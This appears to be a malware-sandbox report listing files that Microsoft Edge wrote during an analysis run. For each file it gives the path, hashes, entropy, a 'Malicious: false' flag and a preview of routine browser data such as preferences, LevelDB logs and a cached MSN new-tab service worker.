SSDEEP:	768:fv95QbW8xW5wImf4i18F1+UoAYDCx9Tuqh0VfUC9xbog/OVPdlIKnIMrwXw+pStK:fVib7xWaImfr1u1jaMFIl8tK
MD5:	F060043AD8491C2979344191AB733302
SHA1:	DDE46CA52FB2C4E5D981A0824F1F1F34852170D2
SHA-256:	87C59FC7FE0E20A58C23DBF208505C7A6D206B16ED95C2BEEC44C69AA2C07D4C
SHA-512:	01BAD7441EADDC566C19AA199C4D577EA3F87B0BD29DCCD167F1DC6255262829B682B273D85632D08F7CC2E4098203A0DC86E8375FBC5EACA738C098C12F7322
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377223172426435","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377223172426435","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.82846355078706
Encrypted:	false
SSDEEP:	48:F2emdtrdDofBp+kXrdYx0p+rdDTBp+grdMBp+B:F1mdtxDopxYxvxDTxb
MD5:	06A4D03CD631F9251A5CFF5A346F98BF
SHA1:	29C79009DFCF976E3279C7F405D662565051620E
SHA-256:	A522A12BB0DB9AF220797C60583B2DB0BD80F84E32AD390A6809CE440CBA11D0
SHA-512:	0CC4A0648D4229CF208558A6E278892130A1EF31D196E9FC1584BFD6A84EA0AD2FA833BD1A3A013EED2469CFCE18F4EEF1F8D8C4B3A8E9EC98ACE1EB857571E1
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.8h.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.196967363720126
Encrypted:	false
SSDEEP:	6:HCzDfM1N723oH+TcwtE/a252KLlVCzDQq2PN723oH+TcwtE/a2ZIFUv:4DfsaYeb8xLQDQvVaYeb8J2FUv
MD5:	54925A37C99B673C1F6B7AE689CCBBC8
SHA1:	B8215C42922E4DDEC52B1BE0BAB5780FB3A22EFF
SHA-256:	9118CBC4C74549CAB67A820DDB21E2F6D6C41B3109892267A215326A342FA917
SHA-512:	DF742A616727D66571B1C489E3FC71BA63493A509C5AABBCAAE768F0F00C02BB4C262296FC649F47306EB2797AFB06433B4E898FC4C0C77876E89EEE30370BA0
Malicious:	false
Preview:	2024/11/27-18:19:49.865 2364 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/27-18:19:49.879 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.576761703197311
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgJk:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFi
MD5:	78E4DC8C47E78FF63E0253CF05587D52
SHA1:	51E02AA238CF9CEFB6509919EEDEA8D196FD8F1C
SHA-256:	4D4C1ED6B8ABF7AF0E0A9B1B3A638908982E664446A40A8FAE319D5F3C24FD4D
SHA-512:	08981F50F6EC831706FAB8149B04D727796A0650D4861FC2BC770159B9511C4D7AEAF9BC3385226C58DB533AC452B8CC4CBA5FF0FEA4193189DCDB6175F65C30
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188897
Entropy (8bit):	6.386399623715739
Encrypted:	false
SSDEEP:	3072:VpqfvsEdlOswvHZ9VXL/e7MjapSEwLdGLfOnWWyi:KOswx9NL/0wavwZrj
MD5:	E419C3E10906F4736F2FB8F50B83C3D1
SHA1:	798AB8221173206C3FF27F2CA82E7C87AD89E90B
SHA-256:	394CEE9186FA4EFB320006808D0580F037A015FD092501AF31E4F5AB9614AE74
SHA-512:	8F7EFA0F80A463B79726F9388BD249C1B625308132C3EEA9D3AC864F2809B10B6E50CB1726A091B0261EC04BB85989D6EBAB6C4127716624F0261B933ADE17E5
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yT.........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc.!......module....Rc........define....Rb.]A.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:fXu00Xl/ly/l9/lxE0tlla/ljQ:WjmO0g8
MD5:	F12818B60D3EE0878B7185E481349880
SHA1:	5B8133B8CE4164A9CB5CD70C5756B2D5740C6CB2
SHA-256:	2EA49A3393759311027783BBBA34F3AF9D5E0D58E50B8DB812B9B8B5AB26909D
SHA-512:	FE4452AE7F5924831A05A24E3DF58BCECD030BBE7338139A71A34F7A1DCB12218445FF362A8312214B501AF75C2E0ED979B7F6EDD8EA27188783ACF94C08CC53
Malicious:	false
Preview:	@...*\|..oy retne.........................X....,..................^\|../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:fXu00Xl/ly/l9/lxE0tlla/ljQ:WjmO0g8
MD5:	F12818B60D3EE0878B7185E481349880
SHA1:	5B8133B8CE4164A9CB5CD70C5756B2D5740C6CB2
SHA-256:	2EA49A3393759311027783BBBA34F3AF9D5E0D58E50B8DB812B9B8B5AB26909D
SHA-512:	FE4452AE7F5924831A05A24E3DF58BCECD030BBE7338139A71A34F7A1DCB12218445FF362A8312214B501AF75C2E0ED979B7F6EDD8EA27188783ACF94C08CC53
Malicious:	false
Preview:	@...*\|..oy retne.........................X....,..................^\|../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF436cb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:fXu00Xl/ly/l9/lxE0tlla/ljQ:WjmO0g8
MD5:	F12818B60D3EE0878B7185E481349880
SHA1:	5B8133B8CE4164A9CB5CD70C5756B2D5740C6CB2
SHA-256:	2EA49A3393759311027783BBBA34F3AF9D5E0D58E50B8DB812B9B8B5AB26909D
SHA-512:	FE4452AE7F5924831A05A24E3DF58BCECD030BBE7338139A71A34F7A1DCB12218445FF362A8312214B501AF75C2E0ED979B7F6EDD8EA27188783ACF94C08CC53
Malicious:	false
Preview:	@...*\|..oy retne.........................X....,..................^\|../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7317
Entropy (8bit):	3.3688351532382006
Encrypted:	false
SSDEEP:	192:U+sU4cIFEZut6n7rQTNk9Xp+2G1+iJNDG5SLl9iSrYDQy:UPu33QTNk9Xp+2I+kI5SLl9iSr8
MD5:	B2C04EF523E86405F9C55890D4556BE3
SHA1:	699E70996D2026BCFA935DF4F9724C8A367A2BCC
SHA-256:	E4958776603A7311D46FF4224ACE15FE9B017B0AF4CC37FCE9F5D3E4047D00B5
SHA-512:	59E2B8B59F65215887BE24FDC72D6D08FB3631A6DA6FE0A4B1DF0B2112F1709E18875E3C61DD6801540EBAC4F679B4084E9C0065F6CE70C5C7E3F9EC68ADDE16
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f............... YO.b................next-map-id.1.Cnamespace-34cc1498_6f24_4b89_9428_b8b3dbbfe8df-https://ntp.msn.com/.0..+.P................map-0-shd_sweeper.6{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.h.p.-.d.i.s.p.o.l.l.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.b.i.n.g._.v.2._.s.c.o.p.e.,.p.r.g.-.1.s.-.d.w.v.i.d.-.t.1.,.1.s.-.p.1.-.d.w.l.s.,.1.s.-.p.2.-.d.w.l.s.,.p.r.g.-.1.s.w.-.n.o.c.o.o.l.d.o.w.n.,.p.r.g.-.p.r.1.-.v.i.d.e.o.s.,.p.r.g.-.p.r.2.-.v.i.d.e.o.s.,.p.r.g.-.v.i.d.-.d.w.l.s.c.a.c.h.e.,.p.r.g.-.1.s.w.-.s.a.q.c.i.p.t.t.c.i.e.n.c.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.r.m.c.a.l.i.b.-.l.v.f._.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.a.f.f.i.c.-.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.135329392648334
Encrypted:	false
SSDEEP:	6:HCz/Xq2PN723oH+TcwtrQMxIFUt8YCz/tZmw+YCz/hDkwON723oH+TcwtrQMFLJ:4/XvVaYebCFUt8R/t/+R/h5OaYebtJ
MD5:	F7B83F2D76C0C74B414656B75A5B48E5
SHA1:	FF63EF8E0B83A15D7F751554C2B1F09848F9CDCE
SHA-256:	7330C90D11E51F35BEC229AD3347F63846F1B816C5BC294D7AAD6659DE34AF26
SHA-512:	C4644624C4657C494D80BC24E71E96611A4E02D4E3FC3FFDC74C31B0FB2179B91435B9F7EF72F7CF58050576A64481134DDA65AB02E83DA5B3AF89BA8729A333
Malicious:	false
Preview:	2024/11/27-18:19:33.036 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-18:19:33.037 11f4 Recovering log #3.2024/11/27-18:19:33.039 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.135329392648334
Encrypted:	false
SSDEEP:	6:HCz/Xq2PN723oH+TcwtrQMxIFUt8YCz/tZmw+YCz/hDkwON723oH+TcwtrQMFLJ:4/XvVaYebCFUt8R/t/+R/h5OaYebtJ
MD5:	F7B83F2D76C0C74B414656B75A5B48E5
SHA1:	FF63EF8E0B83A15D7F751554C2B1F09848F9CDCE
SHA-256:	7330C90D11E51F35BEC229AD3347F63846F1B816C5BC294D7AAD6659DE34AF26
SHA-512:	C4644624C4657C494D80BC24E71E96611A4E02D4E3FC3FFDC74C31B0FB2179B91435B9F7EF72F7CF58050576A64481134DDA65AB02E83DA5B3AF89BA8729A333
Malicious:	false
Preview:	2024/11/27-18:19:33.036 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-18:19:33.037 11f4 Recovering log #3.2024/11/27-18:19:33.039 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377223174934590

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.768907088876695
Encrypted:	false
SSDEEP:	24:3+08wlMVid04PAtpsAF4unxFStLp3X2amEtG1Chql5b8WhlkQKkOAM4Vf:3+nwlif4PszFVkLp2FEkChG5PzFHOpWf
MD5:	19517CAAAA63A9467B3F0F5BC9353534
SHA1:	75F1E40C10A428361463CFA04A150C6C00CE8717
SHA-256:	91F030B62796BB15D8189DF532036BA2954A0BD2FE3AA97992E7084E470333DD
SHA-512:	37DAA8901D605517A9702C1568703E6B43D1674AE9687F6DF5294A1D14DD44A7C2AEA62D201FD4A8955D41C220231F1CA09766ADC68E4118A6490CCC7DD1A3D2
Malicious:	false
Preview:	SNSS.........-i.............-i......"..-i.............-i.........-i.........-i.........-i....!....-i.................................-i..-i1..,.....-i$...34cc1498_6f24_4b89_9428_b8b3dbbfe8df.....-i.........-i.....86..........-i.....-i.........................-i....................5..0.....-i&...{46F3A197-DB49-410A-81B3-94975C835573}.......-i.........-i............................-i.............-i........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........2.'.....2.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.159535121806327
Encrypted:	false
SSDEEP:	6:HCz00SLq2PN723oH+Tcwt7Uh2ghZIFUt8YCz00SuZmw+YCz00SCkwON723oH+Tcz:40rLvVaYebIhHh2FUt8R0ru/+R0rC5On
MD5:	AFAE6E166617CD1C6788F60E4460E1BB
SHA1:	B9F76D4DF4E9DDEC79152B393A1275209D78179F
SHA-256:	A9725B424F0B0A176933B3578B118D12247733C7F4F8071FF0A287B9880061A9
SHA-512:	C021A537DC327BA94DF23F748DF7D85B610E10B3D814851CADD12F53EB8BD498CB0828DF902B7A9A447B5B33163AE081B8268D9F8ECD80006E7DC8F56D5DEE2C
Malicious:	false
Preview:	2024/11/27-18:19:32.477 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-18:19:32.477 23b4 Recovering log #3.2024/11/27-18:19:32.477 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.159535121806327
Encrypted:	false
SSDEEP:	6:HCz00SLq2PN723oH+Tcwt7Uh2ghZIFUt8YCz00SuZmw+YCz00SCkwON723oH+Tcz:40rLvVaYebIhHh2FUt8R0ru/+R0rC5On
MD5:	AFAE6E166617CD1C6788F60E4460E1BB
SHA1:	B9F76D4DF4E9DDEC79152B393A1275209D78179F
SHA-256:	A9725B424F0B0A176933B3578B118D12247733C7F4F8071FF0A287B9880061A9
SHA-512:	C021A537DC327BA94DF23F748DF7D85B610E10B3D814851CADD12F53EB8BD498CB0828DF902B7A9A447B5B33163AE081B8268D9F8ECD80006E7DC8F56D5DEE2C
Malicious:	false
Preview:	2024/11/27-18:19:32.477 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-18:19:32.477 23b4 Recovering log #3.2024/11/27-18:19:32.477 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.224019007929088
Encrypted:	false
SSDEEP:	12:4/OIvVaYebvqBQFUt8R/Y/+R/gz5OaYebvqBvJ:426VaYebvZg8RXolOaYebvk
MD5:	680593000F535E7DD6B3795A952DBD00
SHA1:	23BE2A68D97696DB613BBCBC10978261AC3F2DBB
SHA-256:	1C2897CF96C2A535EE59398390C2A1D9841992B112EB62B09F5C89AE7FF892B2
SHA-512:	99FCCEC3967A66CD5202ADEE7ED329396A74510D43BA5E4702BD4ED0A7572FD9EEC1FB3D4EEB4153E4B995B1683224127CDBE9B5218B93B0B10A974307DCE3B9
Malicious:	false
Preview:	2024/11/27-18:19:33.173 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-18:19:33.180 11f4 Recovering log #3.2024/11/27-18:19:33.243 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.224019007929088
Encrypted:	false
SSDEEP:	12:4/OIvVaYebvqBQFUt8R/Y/+R/gz5OaYebvqBvJ:426VaYebvZg8RXolOaYebvk
MD5:	680593000F535E7DD6B3795A952DBD00
SHA1:	23BE2A68D97696DB613BBCBC10978261AC3F2DBB
SHA-256:	1C2897CF96C2A535EE59398390C2A1D9841992B112EB62B09F5C89AE7FF892B2
SHA-512:	99FCCEC3967A66CD5202ADEE7ED329396A74510D43BA5E4702BD4ED0A7572FD9EEC1FB3D4EEB4153E4B995B1683224127CDBE9B5218B93B0B10A974307DCE3B9
Malicious:	false
Preview:	2024/11/27-18:19:33.173 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-18:19:33.180 11f4 Recovering log #3.2024/11/27-18:19:33.243 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

